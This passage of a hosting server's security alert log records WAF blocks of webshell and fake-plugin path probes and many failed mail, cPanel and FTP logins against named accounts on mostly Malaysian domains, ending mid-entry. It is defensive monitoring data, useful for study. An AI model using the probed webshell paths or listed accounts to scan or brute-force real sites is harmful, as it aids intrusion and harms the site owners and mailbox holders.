IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-content/uploads/wp.php||SC:/home/ajpl3424/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/img/demos/vendor/common/clientele.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.115
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/WordPressCore/index.php||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.115
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/seoo/about.php||WPU:||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/images/class-config.php||SC:/home/ajpl3424/public_html/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 172.248.47.114
country_id: 6252001
description:
2026-01-30 17:04:42 dovecot_login authenticator failed for H=(syn-172-248-047-114.res.spectrum.com) [172.248.47.114]:34526: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: modsec
rule: 77140742
name: IM360 WAF: Block abusive scripts
abuser: 89.251.0.137
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Block abusive scripts||MVN:REQUEST_URI||RSV:7.69||T:APACHE||MV:/wp-admin/maint/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.22.212.32
country_id: 1269750
description:
[2026-01-30 17:04:06 +0800] info [cpaneld] 165.22.212.32 - cofreth "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cofreth (has_cpuser_file failed)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home2/ajresortscom/public_html/wp-admin||


plugin: modsec
rule: 77316761
name: IM360 WAF: Block interaction with malicious plugin
abuser: 89.251.0.141
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Block interaction with malicious plugin||RSV:7.69||T:APACHE||SC:/home/ajpl3424/public_html/wp-content||REQUEST_URI:/wp-content/plugins/ubh/||


plugin: modsec
rule: 77350295
name: IM360 WAF: Interaction with fake plugin
abuser: 89.251.0.141
country_id: 6251999
domain: ajplantations.com.my
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/core-stab/||WPU:||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.176.122
country_id: 1269750
description:
2026-01-30 17:05:28 dovecot_login authenticator failed for H=([125.19.175.93]) [182.95.176.122]:40656: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: ajresorts.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/wp-admin/images/index.php||SC:/home2/ajresortscom/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.146.46
country_id: 1733045
description:
2026-01-30 17:05:37 dovecot_login authenticator failed for H=([49.124.146.46]) [49.124.146.46]:47034: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/master/style-switcher/vendor/jquery-cookie/new-development.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.validation/master/style-switcher/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 17:06:12 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:41507: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/index.php/images/img/photos/esg.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/vivus/img/demos/master/style-switcher/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-30 17:07:28 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (ptonremon) [87.103.126.54]:19257: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.125.201.86
country_id: 1733045
description:
2026-01-30 17:07:35 dovecot_login authenticator failed for H=([49.125.201.86]) [49.125.201.86]:35734: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.23.218.151
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/training-details.php?id=697285 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.84.199.24
country_id: 1880251
description:
Jan 30 17:07:49 sv3 pure-ftpd[3201826]: (?@47.84.199.24) [WARNING] Authentication failed for user [admin_figo]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 91.73.188.251
country_id: 290557
description:
2026-01-30 17:07:56 dovecot_plain authenticator failed for H=(conces) [91.73.188.251]:60429: 535 Incorrect authentication data (set_id=ww.teo@figofoods.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.43.137.90
country_id: 1835841
description:
2026-01-30 17:07:59 dovecot_login authenticator failed for H=([14.43.137.90]) [14.43.137.90]:54886: 535 Incorrect authentication data (set_id=zainuddin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.50
country_id: 1668284
description:
2026-01-30 17:08:23 dovecot_login authenticator failed for H=111-70-32-50.emome-ip.hinet.net [111.70.32.50]:38291: 535 Incorrect authentication data (set_id=ysl)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.appear/master/style-switcher/img/demos/about.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.62
country_id: 1149361
description:
2026-01-30 17:08:15 dovecot_login authenticator failed for H=([149.54.62.62]) [149.54.62.62]:34926: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.84.199.24
country_id: 1880251
description:
[2026-01-30 17:08:19 +0800] info [cpaneld] 47.84.199.24 - admin_figo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin_figo (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-30 17:08:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:53482: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 130.255.96.29
country_id: 3175395
description:
2026-01-30 17:09:44 dovecot_login authenticator failed for H=(sole2-029.alida.it) [130.255.96.29]:5141: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 17:09:49 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:35494: 535 Incorrect authentication data (set_id=admin@stonewld.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/vendor/jquery/master/style-switcher/new-development.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.146.167
country_id: 1835841
description:
2026-01-30 17:10:09 dovecot_login authenticator failed for H=([121.142.146.167]) [121.142.146.167]:38364: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.238.23.168
country_id: 1814991
description:
2026-01-30 17:10:28 dovecot_login authenticator failed for H=([120.238.23.168]) [120.238.23.168]:51925: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery/master/style-switcher/img/demos/clientele.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.250.44.123
country_id: 1643084
description:
[2026-01-30 17:11:11 +0800] info [cpaneld] 180.250.44.123 - adssadadsa "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user adssadadsa (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.178.185.141
country_id: 1835841
description:
2026-01-30 17:11:57 dovecot_login authenticator failed for H=([121.178.185.141]) [121.178.185.141]:59558: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-30 17:11:17 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:18356: 535 Incorrect authentication data (set_id=support@dsc-expat.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/rs-plugin/js/master/style-switcher/img/photos/new-development.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/vendor/magnific-popup/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/common/master/style-switcher/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 17:13:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:47925: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:13:30 H=(localhost.localdomain) [45.150.192.143]:48276 F=<info@kapkenya.org> temporarily rejected RCPT <info@pspoly.com.my>: Could not complete sender verify


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.72.46.215
country_id: 99237
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/monolog/monolog/doc/03-utilities.md HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.75.21.177
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/contact-us.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 51.77.211.191
country_id: 3017382
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/img/img/img/demos/img/img/new-development.php||SC:/home2/pspolycom/public_html/img/img||


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 94.26.106.102
country_id: 2921044
domain: webhosting2u.com
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.69||T:APACHE||REQUEST_URI:/blog/wp-includes/wlwmanifest.xml||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/img/photos/vendor/magnific-popup/news.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Loader/schema/dic/xliff-core/xliff-core-2.0.xsd||User:visoftcom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.244.49.63
country_id: 1668284
description:
2026-01-30 17:14:49 dovecot_login authenticator failed for H=(ADMIN) [173.244.49.63]:47966: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-01-30 17:15:37 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:30858: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-01-30 17:15:58 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:45092: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.118.110
country_id: 1733045
description:
2026-01-30 17:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.118.110]:16272: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/jquery.validation/master/style-switcher/img/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/vendor/bootstrap/js/master/style-switcher/img/photos/contact-us.php||SC:/home2/pspolycom/public_html/js/vendor||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 210.186.161.1
country_id: 1733045
description:
[2026-01-30 17:16:20 +0800] info [webmaild] 210.186.161.1 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/img/demos/master/style-switcher/vendor/vivus/product.php||SC:/home2/pspolycom/public_html/js/img||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.183.143.233
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&page_id=1&sub=21 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-30 17:17:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:54931: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/js/demos/master/style-switcher/img/demos/contact-us.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/js||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/master/style-switcher/vendor/jquery.validation/img/index.php||SC:/home2/pspolycom/public_html/js/examples/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.227.214.54
country_id: 3469034
description:
2026-01-30 17:19:26 dovecot_plain authenticator failed for H=(E43HFC1) [186.227.214.54]:36819: 535 Incorrect authentication data (set_id=aipeng@fimco.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.238.237.254
country_id: 1835841
description:
2026-01-30 17:21:00 dovecot_login authenticator failed for H=([211.238.237.254]) [211.238.237.254]:39566: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.41.156.64
country_id: 2017370
description:
2026-01-30 17:20:24 dovecot_login authenticator failed for H=([77.41.156.64]) [77.41.156.64]:57736: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery.gmap/img/photos/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 74.7.227.52
country_id: 6252001
domain: task.visoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.69||T:APACHE||MVN:REQUEST_FILENAME||MV:/tests/vendor/symfony/translation/Tests/fixtures/resources.ini||User:visoftcom||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery-cookie/img/demos/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.220.236.203
country_id: 660013
description:
2026-01-30 17:21:23 dovecot_login authenticator failed for H=([62.220.236.203]) [62.220.236.203]:45986: 535 Incorrect authentication data (set_id=www.facebook.comrnd)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 149.54.62.114
country_id: 1149361
description:
2026-01-30 17:21:03 dovecot_login authenticator failed for H=([149.54.62.114]) [149.54.62.114]:55207: 535 Incorrect authentication data (set_id=www.facebook.comrnd@plomalite.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.37.150.6
country_id: 1835841
description:
2026-01-30 17:21:41 dovecot_login authenticator failed for H=([61.37.150.6]) [61.37.150.6]:31440: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 193.104.179.108
country_id: 1512440
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/mtdowling/cron-expression/CHANGELOG.md HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/jquery.gmap/img/master/style-switcher/product.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 143.105.233.36
country_id: 878675
domain: lnlfireprotection.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:11240.lnlfireprotection.com||ServerName:lnlfireprotection.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ee2a187cb252f5095696d81db392723f94ec8aab||Title:0x227df698||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.212.225.99
country_id: 1835841
description:
2026-01-30 17:22:25 dovecot_login authenticator failed for H=([1.212.225.99]) [1.212.225.99]:36218: 535 Incorrect authentication data (set_id=admin@euratech.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.118.104.60
country_id: 1269750
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hotel/9/179/920078 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.240.225.251
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=19301515566252 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-01-30 17:22:51 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:45516: 535 Incorrect authentication data (set_id=admin)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/img/demos/master/style-switcher/vendor/rs-plugin/js/contact-us.php||SC:/home2/pspolycom/public_html/js/examples/img||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/vendor/owl.carousel/img/demos/js/views/contact-us.php||SC:/home2/pspolycom/public_html/vendor/owl.carousel/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.187.2
country_id: 1269750
description:
2026-01-30 17:25:35 dovecot_login authenticator failed for H=([128.185.187.2]) [128.185.187.2]:39842: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.164.190
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=806383 HTTP/1.1||RSV:7.69||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.54.70.40
country_id: 3686110
description:
2026-01-30 17:25:48 dovecot_login authenticator failed for H=(static-ip-1815407040.cable.net.co) [181.54.70.40]:47960: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/jquery.validation/img/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.150.192.143
country_id: 2510769
description:
2026-01-30 17:26:51 H=(localhost.localdomain) [45.150.192.143]:36148 F=<info@kapkenya.org> temporarily rejected RCPT <jacklim@ktlog.com.my>: Could not complete sender verify


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.219.154.156
country_id: 2750405
description:
2026-01-30 17:26:31 dovecot_login authenticator failed for H=([103.219.154.156]) [103.219.154.156]:35722: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/examples/vendor/owl.carousel/img/demos/master/style-switcher/index.php||SC:/home2/pspolycom/public_html/js/examples/vendor||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.135.100.48
country_id: 1814991
description:
2026-01-30 17:26:07 dovecot_login authenticator failed for H=([36.135.100.47]) [36.135.100.48]:54650: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.136.133.126
country_id: 2510769
description:
2026-01-30 17:27:54 dovecot_login authenticator failed for H=126.red-2-136-133.staticip.rima-tde.net [2.136.133.126]:50302: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.206.201.253
country_id: 1269750
description:
2026-01-30 17:27:57 dovecot_login authenticator failed for H=(49.206.201.253.actcorp.in) [49.206.201.253]:43558: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 76.132.238.43
country_id: 6252001
description:
2026-01-30 17:27:05 dovecot_login authenticator failed for H=c-76-132-238-43.hsd1.ca.comcast.net [76.132.238.43]:56716: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 74.7.227.18
country_id: 6252001
domain: pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.69||T:APACHE||MV:/js/master/style-switcher/vendor/modernizr/img/product.php||SC:/home2/pspolycom/public_html/js/master||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.68.52.210
country_id: 1269750
description:
